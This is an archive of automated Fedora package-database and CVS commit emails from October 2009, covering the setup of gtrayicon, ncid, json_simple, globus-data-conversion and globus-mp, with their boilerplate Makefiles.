Message-ID: <20091017204033.1DD2210F882@bastion2.fedora.phx.redhat.com>

kevin has added Package gtrayicon with summary Generic tray icon for GNOME
kevin has approved Package gtrayicon
kevin has added a Fedora devel branch for gtrayicon with an owner of cwickert
kevin has approved gtrayicon in Fedora devel
kevin has approved Package gtrayicon
kevin has set commit to Approved for 107427 on gtrayicon (Fedora devel)
kevin has set checkout to Approved for 107427 on gtrayicon (Fedora devel)
kevin has set build to Approved for 107427 on gtrayicon (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gtrayicon



From pkgdb at fedoraproject.org  Sat Oct 17 20:40:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:40:35 +0000
Subject: [pkgdb] gtrayicon summary updated by kevin
Message-ID: <20091017204035.D727310F88B@bastion2.fedora.phx.redhat.com>

kevin set package gtrayicon summary to Generic tray icon for GNOME

To make changes to this package see:
  /pkgdb/packages/name/gtrayicon



From pkgdb at fedoraproject.org  Sat Oct 17 20:40:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:40:35 +0000
Subject: [pkgdb] gtrayicon (Fedora, 10) updated by kevin
Message-ID: <20091017204035.ED28710F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for gtrayicon
kevin has set commit to Approved for 107427 on gtrayicon (Fedora 11)
kevin has set checkout to Approved for 107427 on gtrayicon (Fedora 11)
kevin has set build to Approved for 107427 on gtrayicon (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/gtrayicon



From pkgdb at fedoraproject.org  Sat Oct 17 20:40:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:40:35 +0000
Subject: [pkgdb] gtrayicon (Fedora, 10) updated by kevin
Message-ID: <20091017204036.05AD110F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for gtrayicon
kevin has set commit to Approved for 107427 on gtrayicon (Fedora 12)
kevin has set checkout to Approved for 107427 on gtrayicon (Fedora 12)
kevin has set build to Approved for 107427 on gtrayicon (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gtrayicon



From pkgdb at fedoraproject.org  Sat Oct 17 20:40:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:40:35 +0000
Subject: [pkgdb] gtrayicon (Fedora, 10) updated by kevin
Message-ID: <20091017204036.1B83310F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for gtrayicon
kevin has set commit to Approved for 107427 on gtrayicon (Fedora 10)
kevin has set checkout to Approved for 107427 on gtrayicon (Fedora 10)
kevin has set build to Approved for 107427 on gtrayicon (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/gtrayicon



From kevin at fedoraproject.org  Sat Oct 17 20:40:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:40:45 +0000 (UTC)
Subject: rpms/gtrayicon - New directory
Message-ID: <20091017204045.1CA0611C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gtrayicon
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsRY5529/rpms/gtrayicon

Log Message:
Directory /cvs/pkgs/rpms/gtrayicon added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:40:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:40:45 +0000 (UTC)
Subject: rpms/gtrayicon/devel - New directory
Message-ID: <20091017204045.3B4DE11C04B6@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gtrayicon/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsRY5529/rpms/gtrayicon/devel

Log Message:
Directory /cvs/pkgs/rpms/gtrayicon/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:40:55 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:40:55 +0000 (UTC)
Subject: rpms/gtrayicon Makefile,NONE,1.1
Message-ID: <20091017204055.3EE7111C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gtrayicon
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsRY5529/rpms/gtrayicon

Added Files:
	Makefile 
Log Message:
Setup of module gtrayicon


--- NEW FILE Makefile ---
# Top level Makefile for module gtrayicon
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 17 20:40:55 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:40:55 +0000 (UTC)
Subject: rpms/gtrayicon/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091017204055.96ACA11C02A2@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/gtrayicon/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsRY5529/rpms/gtrayicon/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module gtrayicon


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: gtrayicon
# $Id: Makefile,v 1.1 2009/10/17 20:40:55 kevin Exp $
NAME := gtrayicon
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 17 20:41:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:41:20 +0000
Subject: [pkgdb] ncid was added for sandeen
Message-ID: <20091017204120.2AE4610F88B@bastion2.fedora.phx.redhat.com>

kevin has added Package ncid with summary Caller ID distributed over a network
kevin has approved Package ncid
kevin has added a Fedora devel branch for ncid with an owner of sandeen
kevin has approved ncid in Fedora devel
kevin has approved Package ncid
kevin has set commit to Approved for 107427 on ncid (Fedora devel)
kevin has set checkout to Approved for 107427 on ncid (Fedora devel)
kevin has set build to Approved for 107427 on ncid (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ncid



From pkgdb at fedoraproject.org  Sat Oct 17 20:41:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:41:21 +0000
Subject: [pkgdb] ncid summary updated by kevin
Message-ID: <20091017204122.05DAB10F8A8@bastion2.fedora.phx.redhat.com>

kevin set package ncid summary to Caller ID distributed over a network

To make changes to this package see:
  /pkgdb/packages/name/ncid



From pkgdb at fedoraproject.org  Sat Oct 17 20:41:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:41:21 +0000
Subject: [pkgdb] ncid (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204122.0DAE810F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for ncid
kevin has set commit to Approved for 107427 on ncid (Fedora 11)
kevin has set checkout to Approved for 107427 on ncid (Fedora 11)
kevin has set build to Approved for 107427 on ncid (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ncid



From pkgdb at fedoraproject.org  Sat Oct 17 20:41:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:41:21 +0000
Subject: [pkgdb] ncid (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204122.1587010F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for ncid
kevin has set commit to Approved for 107427 on ncid (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on ncid (Fedora EPEL 5)
kevin has set build to Approved for 107427 on ncid (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/ncid



From pkgdb at fedoraproject.org  Sat Oct 17 20:41:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:41:21 +0000
Subject: [pkgdb] ncid (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204122.2375C10F8B6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for ncid
kevin has set commit to Approved for 107427 on ncid (Fedora 12)
kevin has set checkout to Approved for 107427 on ncid (Fedora 12)
kevin has set build to Approved for 107427 on ncid (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ncid



From kevin at fedoraproject.org  Sat Oct 17 20:41:30 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:41:30 +0000 (UTC)
Subject: rpms/ncid - New directory
Message-ID: <20091017204130.1964911C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ncid
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsiY5907/rpms/ncid

Log Message:
Directory /cvs/pkgs/rpms/ncid added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:41:30 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:41:30 +0000 (UTC)
Subject: rpms/ncid/devel - New directory
Message-ID: <20091017204130.332AE11C0260@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ncid/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsiY5907/rpms/ncid/devel

Log Message:
Directory /cvs/pkgs/rpms/ncid/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:41:37 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:41:37 +0000 (UTC)
Subject: rpms/ncid Makefile,NONE,1.1
Message-ID: <20091017204137.C232E11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ncid
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsiY5907/rpms/ncid

Added Files:
	Makefile 
Log Message:
Setup of module ncid


--- NEW FILE Makefile ---
# Top level Makefile for module ncid
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 17 20:41:38 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:41:38 +0000 (UTC)
Subject: rpms/ncid/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources, 
	NONE, 1.1
Message-ID: <20091017204138.3F7AA11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/ncid/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsiY5907/rpms/ncid/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module ncid


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: ncid
# $Id: Makefile,v 1.1 2009/10/17 20:41:37 kevin Exp $
NAME := ncid
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 17 20:42:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:42:13 +0000
Subject: [pkgdb] json_simple summary updated by kevin
Message-ID: <20091017204214.128FF10F882@bastion2.fedora.phx.redhat.com>

kevin set package json_simple summary to Simple Java toolkit for JSON

To make changes to this package see:
  /pkgdb/packages/name/json_simple



From pkgdb at fedoraproject.org  Sat Oct 17 20:42:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:42:11 +0000
Subject: [pkgdb] json_simple was added for stevetraylen
Message-ID: <20091017204211.B877210F85F@bastion2.fedora.phx.redhat.com>

kevin has added Package json_simple with summary Simple Java toolkit for JSON
kevin has approved Package json_simple
kevin has added a Fedora devel branch for json_simple with an owner of stevetraylen
kevin has approved json_simple in Fedora devel
kevin has approved Package json_simple
kevin has set commit to Approved for 107427 on json_simple (Fedora devel)
kevin has set checkout to Approved for 107427 on json_simple (Fedora devel)
kevin has set build to Approved for 107427 on json_simple (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/json_simple



From pkgdb at fedoraproject.org  Sat Oct 17 20:42:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:42:13 +0000
Subject: [pkgdb] json_simple (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204214.21AFB10F8A3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for json_simple
kevin has set commit to Approved for 107427 on json_simple (Fedora 11)
kevin has set checkout to Approved for 107427 on json_simple (Fedora 11)
kevin has set build to Approved for 107427 on json_simple (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/json_simple



From pkgdb at fedoraproject.org  Sat Oct 17 20:42:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:42:13 +0000
Subject: [pkgdb] json_simple (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204214.3861710F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for json_simple
kevin has set commit to Approved for 107427 on json_simple (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on json_simple (Fedora EPEL 5)
kevin has set build to Approved for 107427 on json_simple (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/json_simple



From pkgdb at fedoraproject.org  Sat Oct 17 20:42:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:42:13 +0000
Subject: [pkgdb] json_simple (Fedora EPEL, 5) updated by kevin
Message-ID: <20091017204214.4C58210F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for json_simple
kevin has set commit to Approved for 107427 on json_simple (Fedora 12)
kevin has set checkout to Approved for 107427 on json_simple (Fedora 12)
kevin has set build to Approved for 107427 on json_simple (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/json_simple



From kevin at fedoraproject.org  Sat Oct 17 20:42:26 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:42:26 +0000 (UTC)
Subject: rpms/json_simple - New directory
Message-ID: <20091017204226.B410C11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/json_simple
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOq6276/rpms/json_simple

Log Message:
Directory /cvs/pkgs/rpms/json_simple added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:42:27 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:42:27 +0000 (UTC)
Subject: rpms/json_simple/devel - New directory
Message-ID: <20091017204227.B4B4F11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/json_simple/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOq6276/rpms/json_simple/devel

Log Message:
Directory /cvs/pkgs/rpms/json_simple/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:42:44 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:42:44 +0000 (UTC)
Subject: rpms/json_simple Makefile,NONE,1.1
Message-ID: <20091017204244.1F82B11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/json_simple
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOq6276/rpms/json_simple

Added Files:
	Makefile 
Log Message:
Setup of module json_simple


--- NEW FILE Makefile ---
# Top level Makefile for module json_simple
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 17 20:42:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:42:45 +0000 (UTC)
Subject: rpms/json_simple/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091017204245.483FC11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/json_simple/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsOq6276/rpms/json_simple/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module json_simple


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: json_simple
# $Id: Makefile,v 1.1 2009/10/17 20:42:44 kevin Exp $
NAME := json_simple
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 17 20:43:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:43:04 +0000
Subject: [pkgdb] globus-data-conversion was added for ellert
Message-ID: <20091017204304.B66EF10F85F@bastion2.fedora.phx.redhat.com>

kevin has added Package globus-data-conversion with summary Globus Toolkit - Data Conversion
kevin has approved Package globus-data-conversion
kevin has added a Fedora devel branch for globus-data-conversion with an owner of ellert
kevin has approved globus-data-conversion in Fedora devel
kevin has approved Package globus-data-conversion
kevin has set commit to Approved for 107427 on globus-data-conversion (Fedora devel)
kevin has set checkout to Approved for 107427 on globus-data-conversion (Fedora devel)
kevin has set build to Approved for 107427 on globus-data-conversion (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/globus-data-conversion



From pkgdb at fedoraproject.org  Sat Oct 17 20:43:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:43:06 +0000
Subject: [pkgdb] globus-data-conversion summary updated by kevin
Message-ID: <20091017204307.024AA10F8AC@bastion2.fedora.phx.redhat.com>

kevin set package globus-data-conversion summary to Globus Toolkit - Data Conversion

To make changes to this package see:
  /pkgdb/packages/name/globus-data-conversion



From pkgdb at fedoraproject.org  Sat Oct 17 20:43:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:43:06 +0000
Subject: [pkgdb] globus-data-conversion (Fedora EPEL, 4) updated by kevin
Message-ID: <20091017204307.1D5A710F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for globus-data-conversion
kevin has set commit to Approved for 107427 on globus-data-conversion (Fedora 11)
kevin has set checkout to Approved for 107427 on globus-data-conversion (Fedora 11)
kevin has set build to Approved for 107427 on globus-data-conversion (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/globus-data-conversion



From pkgdb at fedoraproject.org  Sat Oct 17 20:43:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:43:06 +0000
Subject: [pkgdb] globus-data-conversion (Fedora EPEL, 4) updated by kevin
Message-ID: <20091017204307.37C6110F8A3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for globus-data-conversion
kevin has set commit to Approved for 107427 on globus-data-conversion (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on globus-data-conversion (Fedora EPEL 5)
kevin has set build to Approved for 107427 on globus-data-conversion (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/globus-data-conversion



From pkgdb at fedoraproject.org  Sat Oct 17 20:43:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:43:06 +0000
Subject: [pkgdb] globus-data-conversion (Fedora EPEL, 4) updated by kevin
Message-ID: <20091017204307.3D47110F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for globus-data-conversion
kevin has set commit to Approved for 107427 on globus-data-conversion (Fedora 12)
kevin has set checkout to Approved for 107427 on globus-data-conversion (Fedora 12)
kevin has set build to Approved for 107427 on globus-data-conversion (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/globus-data-conversion



From pkgdb at fedoraproject.org  Sat Oct 17 20:43:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:43:06 +0000
Subject: [pkgdb] globus-data-conversion (Fedora EPEL, 4) updated by kevin
Message-ID: <20091017204307.51B8810F8B7@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for globus-data-conversion
kevin has set commit to Approved for 107427 on globus-data-conversion (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on globus-data-conversion (Fedora EPEL 4)
kevin has set build to Approved for 107427 on globus-data-conversion (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/globus-data-conversion



From kevin at fedoraproject.org  Sat Oct 17 20:43:14 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:43:14 +0000 (UTC)
Subject: rpms/globus-data-conversion - New directory
Message-ID: <20091017204314.174A311C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-data-conversion
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsaB6885/rpms/globus-data-conversion

Log Message:
Directory /cvs/pkgs/rpms/globus-data-conversion added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:43:14 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:43:14 +0000 (UTC)
Subject: rpms/globus-data-conversion/devel - New directory
Message-ID: <20091017204314.359DC11C0298@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-data-conversion/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsaB6885/rpms/globus-data-conversion/devel

Log Message:
Directory /cvs/pkgs/rpms/globus-data-conversion/devel added to the repository




From kevin at fedoraproject.org  Sat Oct 17 20:43:20 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:43:20 +0000 (UTC)
Subject: rpms/globus-data-conversion Makefile,NONE,1.1
Message-ID: <20091017204320.D23A011C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-data-conversion
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsaB6885/rpms/globus-data-conversion

Added Files:
	Makefile 
Log Message:
Setup of module globus-data-conversion


--- NEW FILE Makefile ---
# Top level Makefile for module globus-data-conversion
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct 17 20:43:21 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat, 17 Oct 2009 20:43:21 +0000 (UTC)
Subject: rpms/globus-data-conversion/devel .cvsignore, NONE, 1.1 Makefile,
	NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091017204321.4492B11C00EC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/globus-data-conversion/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsaB6885/rpms/globus-data-conversion/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module globus-data-conversion


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: globus-data-conversion
# $Id: Makefile,v 1.1 2009/10/17 20:43:21 kevin Exp $
NAME := globus-data-conversion
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct 17 20:43:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:43:44 +0000
Subject: [pkgdb] globus-mp was added for ellert
Message-ID: <20091017204344.A95EA10F87F@bastion2.fedora.phx.redhat.com>

kevin has added Package globus-mp with summary Globus Toolkit - Message Passing Library
kevin has approved Package globus-mp
kevin has added a Fedora devel branch for globus-mp with an owner of ellert
kevin has approved globus-mp in Fedora devel
kevin has approved Package globus-mp
kevin has set commit to Approved for 107427 on globus-mp (Fedora devel)
kevin has set checkout to Approved for 107427 on globus-mp (Fedora devel)
kevin has set build to Approved for 107427 on globus-mp (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/globus-mp



From pkgdb at fedoraproject.org  Sat Oct 17 20:43:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:43:46 +0000
Subject: [pkgdb] globus-mp summary updated by kevin
Message-ID: <20091017204346.1CE6F10F88B@bastion2.fedora.phx.redhat.com>

kevin set package globus-mp summary to Globus Toolkit - Message Passing Library

To make changes to this package see:
  /pkgdb/packages/name/globus-mp



From pkgdb at fedoraproject.org  Sat Oct 17 20:43:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:43:46 +0000
Subject: [pkgdb] globus-mp (Fedora EPEL, 4) updated by kevin
Message-ID: <20091017204346.28C9C10F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for globus-mp
kevin has set commit to Approved for 107427 on globus-mp (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on globus-mp (Fedora EPEL 5)
kevin has set build to Approved for 107427 on globus-mp (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/globus-mp



From pkgdb at fedoraproject.org  Sat Oct 17 20:43:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:43:46 +0000
Subject: [pkgdb] globus-mp (Fedora EPEL, 4) updated by kevin
Message-ID: <20091017204346.3026010F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for globus-mp
kevin has set commit to Approved for 107427 on globus-mp (Fedora 11)
kevin has set checkout to Approved for 107427 on globus-mp (Fedora 11)
kevin has set build to Approved for 107427 on globus-mp (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/globus-mp



From pkgdb at fedoraproject.org  Sat Oct 17 20:43:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 17 Oct 2009 20:43:46 +0000
Subject: [pkgdb] globus-mp (Fedora EPEL, 4) updated by kevin
Message-ID: <20091017204346.3DC5110F8B1@bastion2.fedora.phx.redhat.com>

